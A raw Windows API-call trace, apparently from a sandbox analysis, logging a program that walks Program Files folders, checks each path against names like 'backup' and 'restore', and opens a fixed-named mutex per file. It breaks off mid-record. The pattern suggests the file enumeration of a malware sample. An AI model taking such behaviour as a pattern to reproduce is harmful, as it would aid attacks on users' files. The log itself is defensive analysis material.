ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@闼R企@\x18䙌R\x18y")) returned 0xffffffff [0041.178] GetLastError () returned 0x2 [0041.178] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="oracle\\S\x10") returned 7 [0041.178] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0041.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Archive", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@꡴R企@\x18䗔S\x18\x81")) returned 0xffffffff [0041.178] GetLastError () returned 0x2 [0041.179] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="archiveR\x10") returned 7 [0041.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0041.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Backup", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@雄R企@\x18䙌R\x18\x88")) returned 0xffffffff [0041.179] GetLastError () returned 0x2 [0041.179] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="backup䗐S\x10") returned 6 [0041.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0041.179] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Reserv", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@闼R企@\x18䗔S\x18\x8f")) returned 0xffffffff [0041.179] GetLastError () returned 0x2 [0041.180] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="reserv䙈R\x10") returned 6 [0041.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18ddd8, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0041.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\Restore", lpFindFileData=0x18eb8c | out: lpFindFileData=0x18eb8c*(dwFileAttributes=0x7758b6ca, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69670, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꟜR䱠@꡴R企@\x18䙌R\x18\x97")) returned 0xffffffff [0041.180] GetLastError () returned 0x2 [0041.180] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\desktop\\") returned 0x43 [0041.180] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18dd90, cchWideChar=2047 | out: lpWideCharStr="restoreS\x10") returned 7 [0041.180] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.180] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.180] GlobalUnlock (hMem=0x440004) returned 0 [0041.180] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.180] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.180] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.180] GlobalUnlock (hMem=0x440004) returned 0 [0041.180] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.181] GlobalUnlock (hMem=0x44000c) returned 0 [0041.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c58, cbMultiByte=3, lpWideCharStr=0x18dde4, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0041.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*.*", lpFindFileData=0x18eeb0 | out: lpFindFileData=0x18eeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5297a8 [0041.181] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18eeb0 | out: lpFindFileData=0x18eeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.181] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18eeb0 | out: lpFindFileData=0x18eeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0041.181] GetLastError () returned 0x12 [0041.181] FindClose (in: hFindFile=0x5297a8 | out: hFindFile=0x5297a8) returned 1 [0041.181] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.181] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.181] GlobalUnlock (hMem=0x44000c) returned 0 [0041.181] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.181] GlobalLock (hMem=0x440004) returned 0x550178 [0041.181] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.181] GlobalUnlock (hMem=0x44000c) returned 0 [0041.181] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.181] GlobalUnlock (hMem=0x440004) returned 0 [0041.181] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c68, cbMultiByte=3, lpWideCharStr=0x18dde4, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0041.181] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Desktop\\*.*", lpFindFileData=0x18eeb0 | out: lpFindFileData=0x18eeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5297a8 [0041.181] FileTimeToLocalFileTime (in: lpFileTime=0x18eec4, lpLocalFileTime=0x18edd4 | out: lpLocalFileTime=0x18edd4) returned 1 [0041.181] FileTimeToDosDateTime (in: lpFileTime=0x18edd4, lpFatDate=0x18ee92, lpFatTime=0x18ee90 | out: lpFatDate=0x18ee92, lpFatTime=0x18ee90) returned 1 [0041.181] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.181] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.181] GlobalUnlock (hMem=0x440004) returned 0 [0041.182] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.182] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.182] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.182] GlobalUnlock (hMem=0x440004) returned 0 [0041.182] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.182] GlobalUnlock (hMem=0x44000c) returned 0 [0041.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.182] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18eeb0 | out: lpFindFileData=0x18eeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.182] FileTimeToLocalFileTime (in: lpFileTime=0x18eec4, lpLocalFileTime=0x18edd0 | out: lpLocalFileTime=0x18edd0) returned 1 [0041.182] FileTimeToDosDateTime (in: lpFileTime=0x18edd0, lpFatDate=0x18ee92, lpFatTime=0x18ee90 | out: lpFatDate=0x18ee92, lpFatTime=0x18ee90) returned 1 [0041.182] GlobalLock (hMem=0x44000c) returned 0x54f170 [0041.182] GlobalHandle (pMem=0x54f170) returned 0x44000c [0041.182] GlobalUnlock (hMem=0x44000c) returned 0 [0041.182] GlobalLock (hMem=0x44000c) returned 0x54f170 [0041.182] GlobalLock (hMem=0x440004) returned 0x551180 [0041.182] GlobalHandle (pMem=0x54f170) returned 0x44000c [0041.182] GlobalUnlock (hMem=0x44000c) returned 0 [0041.182] GlobalHandle (pMem=0x551180) returned 0x440004 [0041.182] GlobalUnlock (hMem=0x440004) returned 0 [0041.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.182] FindNextFileW (in: hFindFile=0x5297a8, lpFindFileData=0x18eeb0 | out: lpFindFileData=0x18eeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0041.182] GetLastError () returned 0x12 [0041.182] FindClose (in: hFindFile=0x5297a8 | out: hFindFile=0x5297a8) returned 1 [0041.183] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0041.183] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.183] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.183] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.183] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.183] GlobalUnlock (hMem=0x440004) returned 0 [0041.183] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.183] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.183] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.183] GlobalUnlock (hMem=0x440004) returned 0 [0041.183] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.183] GlobalUnlock (hMem=0x44000c) returned 0 [0041.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.183] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="SQLCEC~2.DLL")) returned 1 [0041.183] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.183] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.183] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.183] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.183] GlobalUnlock (hMem=0x44000c) returned 0 [0041.183] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.183] GlobalLock (hMem=0x440004) returned 0x550178 [0041.183] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.183] GlobalUnlock (hMem=0x44000c) returned 0 [0041.183] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.183] GlobalUnlock (hMem=0x440004) returned 0 [0041.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.183] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x24440, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceer35EN.dll", cAlternateFileName="SQLCEE~1.DLL")) returned 1 [0041.183] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.183] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.184] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.184] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.184] GlobalUnlock (hMem=0x440004) returned 0 [0041.184] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.184] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.184] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.184] GlobalUnlock (hMem=0x440004) returned 0 [0041.184] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.184] GlobalUnlock (hMem=0x44000c) returned 0 [0041.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.184] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab958d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x15a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceme35.dll", cAlternateFileName="SQLCEM~1.DLL")) returned 1 [0041.184] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.184] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.184] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.184] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.184] GlobalUnlock (hMem=0x44000c) returned 0 [0041.184] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.184] GlobalLock (hMem=0x440004) returned 0x550178 [0041.184] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.184] GlobalUnlock (hMem=0x44000c) returned 0 [0041.184] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.184] GlobalUnlock (hMem=0x440004) returned 0 [0041.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.184] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x3fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceoledb35.dll", cAlternateFileName="SQLCEO~1.DLL")) returned 1 [0041.184] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.184] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.184] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.184] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.184] GlobalUnlock (hMem=0x440004) returned 0 [0041.185] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.185] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.185] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.185] GlobalUnlock (hMem=0x440004) returned 0 [0041.185] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.185] GlobalUnlock (hMem=0x44000c) returned 0 [0041.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.185] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x114e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceqp35.dll", cAlternateFileName="SQLCEQ~1.DLL")) returned 1 [0041.185] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.185] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.185] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.185] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.185] GlobalUnlock (hMem=0x44000c) returned 0 [0041.185] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.185] GlobalLock (hMem=0x440004) returned 0x550178 [0041.185] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.185] GlobalUnlock (hMem=0x44000c) returned 0 [0041.185] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.185] GlobalUnlock (hMem=0x440004) returned 0 [0041.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.185] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 1 [0041.185] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.185] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.185] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.185] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.185] GlobalUnlock (hMem=0x440004) returned 0 [0041.185] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.185] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.185] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.185] GlobalUnlock (hMem=0x440004) returned 0 [0041.185] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.186] GlobalUnlock (hMem=0x44000c) returned 0 [0041.186] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.186] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdeb18300, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdeb18300, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x9d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcese35.dll", cAlternateFileName="SQLCES~1.DLL")) returned 0 [0041.186] GetLastError () returned 0x12 [0041.186] FindClose (in: hFindFile=0x5251d8 | out: hFindFile=0x5251d8) returned 1 [0041.186] FindNextFileW (in: hFindFile=0x525ef0, lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0041.186] GetLastError () returned 0x12 [0041.186] FindClose (in: hFindFile=0x525ef0 | out: hFindFile=0x525ef0) returned 1 [0041.188] CharLowerBuffW (in: lpsz="C:\\Program Files\\", cchLength=0x11 | out: lpsz="c:\\program files\\") returned 0x11 [0041.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e744, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\眹\x18￾￿F") returned 37 [0041.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e78c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\F") returned 6 [0041.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Adobe", lpFindFileData=0x18f540 | out: lpFindFileData=0x18f540*(dwFileAttributes=0x1d301bf, ftCreationTime.dwLowDateTime=0x6d3a4910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, 